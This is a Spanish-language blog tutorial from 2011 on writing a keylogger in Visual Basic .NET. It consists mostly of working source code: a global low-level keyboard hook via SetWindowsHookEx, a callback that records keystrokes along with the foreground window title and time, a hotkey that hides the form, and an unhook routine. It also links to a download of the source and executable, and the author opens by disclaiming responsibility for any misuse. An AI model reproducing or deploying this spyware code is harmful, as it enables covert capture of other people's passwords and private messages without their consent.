domingo, 21 de agosto de 2011

Crear un keylogger en Visual Basic


NO ME HAGO RESPONSABLE DEL USO QUE LE DEN A ESTA INFO!!
xDDD

Aclarado el punto, empecemos.
Configurando la aplicación:

Antes de empezar, creamos un formulario y le añadimos un botón y un textbox con la propiedad multilinea activada, debe quedar así:


Lo primero sera importar las funciones de las API de windows y declarar las variables globales.

Funciones que usaremos:
SetWindowsHookEx()
CallNextHookEx()
UnhookWindowsHookEx()
GetForegroundWindow()
GetWindowText()

#Region "importamos las funciones de la API de windows"
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal IdHook As Integer, ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, ByVal dwThreadID As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32

Private Delegate Function KeyboardHookDelegate(ByVal code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer

La función KeyboardHookDelegate() Se comporta como un tipo de puntero a una función de que será llamada cuando se genera un evento.


Ahora procederemos a declarar constantes, estructuras y enumeraciones

Private Const WM_KEYUP As Integer = &H101
Private Const WM_KEYDOWN As Short = &H100S
Private Const WM_SYSKEYDOWN As Integer = &H104
Private Const WM_SYSKEYUP As Integer = &H105

Private Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scanCode As Integer
Public flags As Integer
Public time As Integer
Public dwExtrainfo As Integer
End Structure

#Region "Teclas"
Enum VirtualKey


K_Return = &HD
K_Backspace = &H8
K_Space = &H20
K_Tab = &H9
K_Esc = &H1B

K_Control = &H11
K_LControl = &HA2
K_RControl = &HA3

K_Delete = &H2E
K_End = &H23
K_Home = &H24
K_Insert = &H2D

K_Shift = &H10
K_LShift = &HA0
K_RShift = &HA1

K_Pause = &H13
K_PrintScreen = 44

K_LWin = &H5B
K_RWin = &H5C

K_Alt = &H12
K_LAlt = &HA4
K_RAlt = &HA5

K_NumLock = &H90
K_CapsLock = &H14
'Flechas
K_Up = &H26
K_Down = &H28
K_Right = &H27
K_Left = &H25


K_F1 = &H70
K_F2 = &H71
K_F3 = &H72
K_F4 = &H73
K_F5 = &H74
K_F6 = &H75
K_F7 = &H76
K_F8 = &H77
K_F9 = &H78
K_F10 = &H79
K_F11 = &H7A
K_F12 = &H7B
K_F13 = &H7C
K_F14 = &H7D
K_F15 = &H7E
K_F16 = &H7F
K_F17 = &H80
K_F18 = &H81
K_F19 = &H82
K_F20 = &H83
K_F21 = &H84
K_F22 = &H85
K_F23 = &H86
K_F24 = &H87


K_Numpad0 = &H60
K_Numpad1 = &H61
K_Numpad2 = &H62
K_Numpad3 = &H63
K_Numpad4 = &H64
K_Numpad5 = &H65
K_Numpad6 = &H66
K_Numpad7 = &H67
K_Numpad8 = &H68
K_Numpad9 = &H69

K_Num_Add = &H6B
K_Num_Divide = &H6F
K_Num_Multiply = &H6A
K_Num_Subtract = &H6D
K_Num_Decimal = &H6E

'Caracteres y Números
K_0 = &H30
K_1 = &H31
K_2 = &H32
K_3 = &H33
K_4 = &H34
K_5 = &H35
K_6 = &H36
K_7 = &H37
K_8 = &H38
K_9 = &H39
K_A = &H41
K_B = &H42
K_C = &H43
K_D = &H44
K_E = &H45
K_F = &H46
K_G = &H47
K_H = &H48
K_I = &H49
K_J = &H4A
K_K = &H4B
K_L = &H4C
K_M = &H4D
K_N = &H4E
K_O = &H4F
K_P = &H50
K_Q = &H51
K_R = &H52
K_S = &H53
K_T = &H54
K_U = &H55
K_V = &H56
K_W = &H57
K_X = &H58
K_Y = &H59
K_Z = &H5A


K_Subtract = 189
K_Decimal = 190

End Enum
#End Region

Las Constantes: WM_KEYUP, WM_KEYDOWN, WM_SYSUP, WM_SYSDOWN, especifican el tipo de evento de teclado que se ha generado.


La Estructura KBDLLHOOKSTRUCT es una estructura especial que contiene información acerca de la tecla presionada.


El Enum Virtual key es una enumeración de todas las teclas para su fácil acceso.


Las variables Globales

Private KeyboardHandle As IntPtr = 0
Private LastCheckedForegroundTitle As String = ""
Private callback As KeyboardHookDelegate = Nothing
Private KeyLog As String

-LastCheckedForegroundTitle: Aquí se almacenará el titulo de la ventana de donde obtenemos las pulsaciones.
-KeyLog: variable de cadena donde se almacenará todo lo obtenido hasta el momento, que debería ser guardado en un archivo de texto.
-callback: puntero a la función que recibirá el evento.


***********************

Creando el "Gancho"

comenzaremos agregando esta función:
Public Sub EngancharTeclado()
callback = New KeyboardHookDelegate(AddressOf KeyboardCallBack)
KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
End Sub
Como podemos ver, la función SetWindowsHookEx usa 4 parametros: el primero indica el tipo de gancho a crear (13 para un gancho de teclado de bajo nivel); el segundo parámetro indica el delegado de la función que va a ser llamada cuando se genera un evento; el tercero indica la dirección del modulo al cual se enviaran los eventos, así el sistema operativo sabe a cual aplicación enviar los eventos, el cuarto parámetro indica si el gancho es global(0) o si esta asociado con algún proceso(la dirección del proceso).


Añadimos también una función para saber si el teclado está enganchado o no:
Private Function Hooked()
Return KeyboardHandle <> 0
End Function

Manejando el evento de teclado
Ahora viene la parte interesante, crearemos la función que añadira las pulsaciones al textbox:
Private Function KeyboardCallBack(ByVal code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
'Obtenemos el titulo
Dim TituloVentana = GetActiveWindowTitle()


If TituloVentana <> LastCheckedForegroundTitle Then
LastCheckedForegroundTitle = TituloVentana
'La ventana en la que se genero el evento y la fecha y hora
KeyLog &= vbCrLf & "----------- " & TituloVentana & " (" & Now.ToString() & ") ------------" & vbCrLf
End If

'Variable que contendrá la tecla presonada
Dim Tecla As String = ""

If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then


If code >= 0 Then
'Si se presiona Ctrl + alt + S
If My.Computer.Keyboard.CtrlKeyDown And My.Computer.Keyboard.AltKeyDown And lParam.vkCode = VirtualKey.K_S Then
Me.Visible = Not Me.Visible 'Ocultamos o mostramos el formulari
Return 1
End If
End If

'Convertir la tecla presionada en un caracter
Select Case lParam.vkCode
Case VirtualKey.K_0 To VirtualKey.K_9
Tecla = ChrW(lParam.vkCode)
Case VirtualKey.K_A To VirtualKey.K_Z
Tecla = ChrW(lParam.vkCode + 32)
End Select
End If

'Añadir la tecla a la variable y de la variable al Textbox
KeyLog &= Tecla
TextBox1.AppendText(KeyLog)
Return CallNextHookEx(KeyboardHandle, code, wParam, lParam)

End Function

Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)

Return MyStr

End Function


Desenganchando
Cuando no queramos que se registren las pulsaciones, tendremos esta función:
Public Sub Desenganchar()
If (Hooked()) Then
If UnhookWindowsHookEx(KeyboardHandle) <> 0 Then
KeyboardHandle = 0
End If
End If
End Sub

podríamos crear un botón, y en el código de ese botón añadir el codigo: Desenganchar() y eso hará que se detenga el keylogger.
Por último hacemos doble click en el botón que habiamos creado al principio y le damos doble click, luego le añadimos el siguiente código:

EngancharTeclado()

Bueno.. si quieren ver como funca..

Codigo fuente y el ejecutable:

http://www.mediafire.com/?4mqqw9hrhgnn8h1

No hay comentarios:

Publicar un comentario